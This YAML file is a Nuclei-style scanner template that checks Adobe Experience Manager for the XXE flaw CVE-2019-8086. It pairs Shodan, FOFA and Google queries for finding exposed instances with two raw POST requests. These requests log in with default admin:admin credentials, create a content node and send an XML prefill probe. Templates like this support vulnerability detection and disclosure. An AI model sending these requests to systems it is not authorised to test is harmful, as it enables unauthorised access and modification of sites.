74 lines
2.9 KiB
YAML
74 lines
2.9 KiB
YAML
id: CVE-2019-8086
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info:
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name: Adobe Experience Manager - XML External Entity Injection
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author: DhiyaneshDk
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severity: high
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description: Adobe Experience Manager 6.5, 6.4, 6.3 and 6.2 are susceptible to XML external entity injection. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
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impact: |
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Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, server-side request forgery, and potential remote code execution.
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remediation: |
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Apply the necessary security patches provided by Adobe to mitigate the vulnerability. Additionally, ensure that the server is properly configured to restrict access to sensitive files and prevent XXE attacks.
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reference:
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- https://speakerdeck.com/0ang3el/a-hackers-perspective-on-aem-applications-security?slide=13
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- https://github.com/0ang3el/aem-hacker/blob/master/aem_hacker.py
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2019-8086
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- https://nvd.nist.gov/vuln/detail/CVE-2019-8086
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- https://helpx.adobe.com/security/products/experience-manager/apsb19-48.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2019-8086
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cwe-id: CWE-611
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epss-score: 0.13896
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epss-percentile: 0.95652
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cpe: cpe:2.3:a:adobe:experience_manager:6.2:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: adobe
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product: experience_manager
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shodan-query:
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- http.title:"AEM Sign In"
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- http.component:"Adobe Experience Manager"
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- http.component:"adobe experience manager"
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- http.title:"aem sign in"
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- cpe:"cpe:2.3:a:adobe:experience_manager"
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fofa-query: title="aem sign in"
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google-query: intitle:"aem sign in"
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tags: cve,cve2019,aem,adobe
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http:
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- raw:
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- |
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POST /content/{{randstr}} HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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Authorization: Basic YWRtaW46YWRtaW4=
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Referer: {{BaseURL}}
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sling:resourceType=fd/af/components/guideContainer
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- |
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POST /content/{{randstr}}.af.internalsubmit.json HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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Authorization: Basic YWRtaW46YWRtaW4=
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Referer: {{BaseURL}}
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guideState={"guideState"%3a{"guideDom"%3a{},"guideContext"%3a{"xsdRef"%3a"","guidePrefillXml"%3a"<afData>\u0041\u0042\u0043</afData>"}}}
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '<afData>ABC<afBoundData/>'
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- type: word
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part: header
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words:
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- application/json
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- type: status
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status:
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- 200
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# digest: 490a004630440220557ca481b084c387fef96e4719dff475473fd01c9c6ea0b6df4e3019198ab8060220290c7769bf61f70e62876e6dedd624b75002cb4639a949f5bbbb4b312ebe24f9:922c64590222798bb761d5b6d8e72950 |